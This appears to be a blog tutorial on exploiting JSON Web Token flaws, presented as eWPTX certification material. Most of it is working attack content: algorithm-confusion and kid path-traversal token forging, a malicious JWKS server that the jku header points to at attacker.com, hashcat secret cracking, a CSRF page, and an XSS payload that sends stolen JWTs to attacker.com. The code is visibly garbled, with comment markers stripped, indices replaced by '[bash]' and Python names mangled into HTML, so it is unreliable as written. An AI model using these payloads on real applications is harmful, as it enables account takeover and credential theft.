Mastering JWT Exploitation: From eWPTX to Real-World Web Application Penetration Testing

Listen to this Post

Featured Image

Introduction

In modern web applications, JSON Web Tokens (JWT) have become the de facto standard for authentication and session management, but their implementation often introduces critical vulnerabilities that bypass traditional security controls. The eLearnSecurity Web Penetration Tester eXtreme (eWPTX) certification pushes security professionals beyond simple vulnerability identification into the realm of weaponizing implementation flaws, particularly in JWT handling, to demonstrate realistic attack scenarios that mirror today’s sophisticated threat landscape.

Learning Objectives

  • Understand the inner structure of JWTs and identify common implementation weaknesses in real-world applications
  • Master practical exploitation techniques for JWT vulnerabilities including algorithm confusion, key injection, and signature bypass
  • Develop methodology for chaining JWT exploits with other web application flaws to achieve complete system compromise

You Should Know

1. Understanding JWT Structure and Common Vulnerabilities

JSON Web Tokens consist of three Base64URL-encoded parts separated by dots: the header, payload, and signature. The header typically contains the algorithm used (RS256, HS256, none), while the payload contains claims about the user session. What makes JWTs particularly dangerous is that many developers misunderstand the security implications of each component.

Common JWT Implementation Flaws:

  • Accepting tokens with “none” algorithm
  • Failing to verify signature properly
  • Algorithm confusion attacks (RS256 to HS256)
  • Weak HMAC secrets
  • Kid (Key ID) parameter injection
  • JKU (JWK Set URL) header manipulation

Linux Command to Analyze JWT Structure:

 Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ" | cut -d "." -f1 | base64 -d 2>/dev/null | jq .

Alternative with Python
python3 -c "import base64; import json; header='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9'; print(json.dumps(json.loads(base64.b64decode(header + '===').decode()), indent=2))"

Windows PowerShell Equivalent:

$token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ"
$header = $token.Split('.')[bash]
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($header + '=='))

2. Exploiting Algorithm Confusion Attacks

One of the most devastating JWT vulnerabilities occurs when an application trusts the algorithm specified in the header without proper validation. In algorithm confusion attacks, an attacker changes the algorithm from RS256 (asymmetric) to HS256 (symmetric) and signs the token using the server’s public key.

Step-by-Step Exploitation Guide:

First, obtain the server’s public key (often exposed at /.well-known/jwks.json or through error messages):

 Download public key from common endpoints
curl -k https://target.com/.well-known/jwks.json | jq .

Extract RSA public key if exposed in PEM format
curl -k https://target.com/public-key.pem > public.pem

Convert the public key to the format needed for HMAC signing:

 Convert PEM to raw key material
cat public.pem | grep -v "BEGIN" | grep -v "END" | tr -d '\n' | base64 -d > key.raw

Alternative using openssl
openssl x509 -pubkey -in public.pem -noout -outform PEM | tail -n +2 | head -n -1 | tr -d '\n' | base64 -d > key.bin

Now use jwt_tool to perform the algorithm confusion attack:

 Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip3 install -r requirements.txt

Perform algorithm confusion attack
python3 jwt_tool.py $TOKEN -X a -pk public.pem

Manual approach with Python
python3 << EOF
import jwt
import base64

token = "original.jwt.token"
public_key = open("public.pem", "r").read()

Create new token with algorithm changed to HS256
payload = jwt.decode(token, options={"verify_signature": False})
new_token = jwt.encode(payload, public_key, algorithm="HS256")
print(new_token)
EOF

3. Kid Parameter Injection and Path Traversal

The “kid” (Key ID) header parameter is often used to specify which key should be used for verification. When improperly validated, this can lead to path traversal attacks allowing attackers to point to arbitrary files on the system.

Exploitation Methodology:

 Original token header
{
"alg": "HS256",
"typ": "JWT",
"kid": "key-001"
}

Modified header with path traversal
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../dev/null"
}

Generate token using null byte as key
python3 -c "import jwt; token = jwt.encode({'user':'admin'}, '', algorithm='HS256', headers={'kid':'../../../../dev/null'}); print(token)"

For Windows environments, test different path separators:

 Windows paths
"kid": "C:\windows\win.ini"
"kid": "..\..\..\windows\system32\drivers\etc\hosts"

4. JKU Header Manipulation and JWKS Injection

The JKU (JWK Set URL) header allows the server to fetch the public key from a specified URL. If the application doesn’t validate this URL properly, attackers can host their own JWKS endpoint.

Creating a Malicious JWKS Endpoint:

 malicious_jwks_server.py
from flask import Flask, jsonify
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import base64

app = Flask(<strong>name</strong>)

def generate_malicious_jwks():
 Generate attacker's private key
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()

Extract public numbers
numbers = public_key.public_numbers()

jwks = {
"keys": [{
"kty": "RSA",
"kid": "attacker-key",
"use": "sig",
"alg": "RS256",
"n": base64.urlsafe_b64encode(numbers.n.to_bytes(256, 'big')).decode('utf-8').rstrip("="),
"e": base64.urlsafe_b64encode(numbers.e.to_bytes(3, 'big')).decode('utf-8').rstrip("=")
}]
}
return jwks

@app.route('/.well-known/jwks.json')
def serve_jwks():
return jsonify(generate_malicious_jwks())

if <strong>name</strong> == '<strong>main</strong>':
app.run(host='0.0.0.0', port=8080)

Start the malicious server and modify the JWT:

 Start the server
python3 malicious_jwks_server.py

Modify token header
python3 jwt_tool.py $TOKEN -I -hc jku -hv "http://attacker.com:8080/.well-known/jwks.json"

5. Cracking Weak JWT HMAC Secrets

Many implementations use weak secrets for HS256 tokens. Hashcat can be used to brute-force these secrets offline.

Hashcat Configuration for JWT Cracking:

 Extract the JWT and prepare for hashcat
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" > jwt.txt

Convert to hashcat format (16500)
python3 jwt2hashcat.py jwt.txt > hashcat_jwt.txt

Crack using rockyou.txt
hashcat -m 16500 -a 0 hashcat_jwt.txt /usr/share/wordlists/rockyou.txt

For brute-force attacks
hashcat -m 16500 -a 3 hashcat_jwt.txt ?a?a?a?a?a?a?a?a

Using rules
hashcat -m 16500 -a 0 hashcat_jwt.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

6. Automated JWT Vulnerability Scanning

Implement a comprehensive testing methodology using automated tools combined with manual verification.

Docker-based Testing Environment:

 Set up JWT testing lab
docker run -d -p 5000:5000 --name jwt-lab paulsec/jwt-hacking-lab

Use multiple tools for comprehensive testing
npm install -g jwt-hack
pip install pyjwt flask

Create automated scanning script
cat > jwt_scanner.py << 'EOF'
import requests
import jwt
import sys

def scan_jwt_endpoint(url, token):
 Test algorithm confusion
headers = {"Authorization": f"Bearer {token}"}
response = requests.get(url, headers=headers)

Decode without verification
try:
unverified = jwt.decode(token, options={"verify_signature": False})
print(f"[+] Token payload: {unverified}")
except:
pass

Test none algorithm
parts = token.split('.')
none_token = f"{parts[bash]}.{parts[bash]}."
headers_none = {"Authorization": f"Bearer {none_token}"}
response_none = requests.get(url, headers=headers_none)

if response_none.status_code == 200:
print("[!] VULNERABLE: Accepts 'none' algorithm")

Test blank signature
blank_sig = f"{parts[bash]}.{parts[bash]}.{''}"
headers_blank = {"Authorization": f"Bearer {blank_sig}"}
response_blank = requests.get(url, headers=headers_blank)

if response_blank.status_code == 200:
print("[!] VULNERABLE: Accepts blank signature")

if <strong>name</strong> == "<strong>main</strong>":
scan_jwt_endpoint(sys.argv[bash], sys.argv[bash])
EOF

python3 jwt_scanner.py http://localhost:5000/api/protected $TOKEN
  1. Advanced Exploitation: Chaining JWT Vulnerabilities with Other Web Flaws

Real-world exploitation rarely stops at JWT bypass. Chain these vulnerabilities with other web application flaws for maximum impact.

Cross-Site Request Forgery (CSRF) with JWT:

<!-- csrf_jwt_exploit.html -->
<html>
<body>

<form id="csrf-form" action="https://target.com/api/change-password" method="POST">
<input type="hidden" name="new_password" value="hacked123" />
<input type="hidden" name="confirm_password" value="hacked123" />
</form>

<script>
// Steal JWT from localStorage
const token = localStorage.getItem('jwt_token');

// Perform CSRF with stolen token
fetch('https://target.com/api/change-password', {
method: 'POST',
headers: {
'Authorization': `Bearer ${token}`,
'Content-Type': 'application/json'
},
body: JSON.stringify({
new_password: 'attacker_controlled',
confirm_password: 'attacker_controlled'
})
});

document.getElementById('csrf-form').submit();
</script>

</body>
</html>

XSS to JWT Theft and Replay:

// XSS payload to steal JWT
fetch('https://attacker.com/steal?token=' + 
(localStorage.getItem('jwt') || 
document.cookie.match(/jwt=([^;]+)/)?.[bash] ||
sessionStorage.getItem('jwt'))
);

// Replay token for account takeover
const stolenToken = 'stolen.jwt.token.here';
fetch('https://target.com/api/admin/delete-user', {
method: 'DELETE',
headers: {
'Authorization': <code>Bearer ${stolenToken}</code>,
'X-CSRF-Token': 'bypass_csrf_if_needed'
}
});

8. Defense Mechanisms and Bypass Techniques

Modern frameworks implement various protections, but many can be bypassed with creative techniques.

Bypassing JWT Blacklisting:

 If tokens are blacklisted based on signature
original_token = "header.payload.signature"
parts = original_token.split('.')

Technique 1: Add whitespace in payload
import base64
import json

payload = base64.b64decode(parts[bash] + '===').decode()
payload_json = json.loads(payload)
payload_json['iat'] = payload_json.get('iat', 0) - 1  Modify timestamp slightly
new_payload = base64.b64encode(json.dumps(payload_json).encode()).decode().rstrip('=')

new_token = f"{parts[bash]}.{new_payload}.{parts[bash]}"

Technique 2: Add null byte in signature
 Some validators stop at null byte
null_signature = parts[bash] + '\x00'
new_token_null = f"{parts[bash]}.{parts[bash]}.{null_signature}"

Bypassing Audience/Restrictions:

 Add multiple audiences
payload_with_multiple_aud = {
"user": "admin",
"aud": ["target-app", "attacker-app"],
"exp": 9999999999
}

Use JWT with audience in different case
 Some validators are case-sensitive incorrectly
payload_case = {
"user": "admin",
"aud": "TARGET-APP",  Original is "target-app"
"exp": 9999999999
}

What Undercode Say

  • Key Takeaway 1: JWT vulnerabilities represent a fundamental shift in web application security – Unlike traditional session management flaws, JWT weaknesses combine cryptographic failures with business logic errors. The eWPTX certification’s focus on weaponizing these issues reflects the real-world requirement for penetration testers to demonstrate actual risk, not just theoretical vulnerabilities. Organizations must move beyond “JWT is secure” assumptions and implement defense-in-depth strategies that include short-lived tokens, proper key rotation, and strict validation of all header parameters.

  • Key Takeaway 2: The depth of offensive certifications like eWPTX validates that modern web penetration testing requires both broad knowledge and deep specialization – Jaime Ramírez’s achievement of completing all INE offensive certifications demonstrates that mastering web application security requires systematic learning across multiple domains. The JWT exploitation techniques covered in eWPTX represent just one piece of a comprehensive testing methodology that must include API security, cloud configurations, and client-side vulnerabilities. Security professionals should approach JWT testing with the understanding that token manipulation is often just the entry point to more severe system compromises.

The eWPTX certification’s emphasis on practical exploitation over theoretical knowledge highlights an important industry trend: employers and clients no longer want testers who can only identify issues; they need professionals who can demonstrate the business impact of security flaws. JWT vulnerabilities, when properly exploited, can lead to complete account takeover, privilege escalation, and lateral movement across interconnected microservices. As applications increasingly adopt stateless authentication, understanding the nuances of JWT implementation becomes critical for both attackers and defenders.

Prediction

The next 12-24 months will witness a significant evolution in JWT-related attacks as serverless architectures and microservices continue to proliferate. We predict the emergence of automated JWT exploitation frameworks that combine machine learning for secret discovery with automated chaining of multiple JWT vulnerabilities. Additionally, as more applications migrate to Kubernetes and cloud-native environments, we’ll see novel attacks targeting service-to-service JWT authentication, particularly focusing on misconfigured service accounts and overly permissive token scopes. The rise of AI-powered security testing tools will likely democratize JWT exploitation, making sophisticated attacks accessible to less skilled adversaries, while simultaneously forcing the development of more robust JWT validation libraries and runtime protection mechanisms. Organizations that fail to implement comprehensive JWT security controls, including proper key management, short token lifespans, and rigorous validation of all header parameters, will face increasing risk of authentication bypass attacks that bypass traditional perimeter defenses entirely.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Jaime Patricio – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky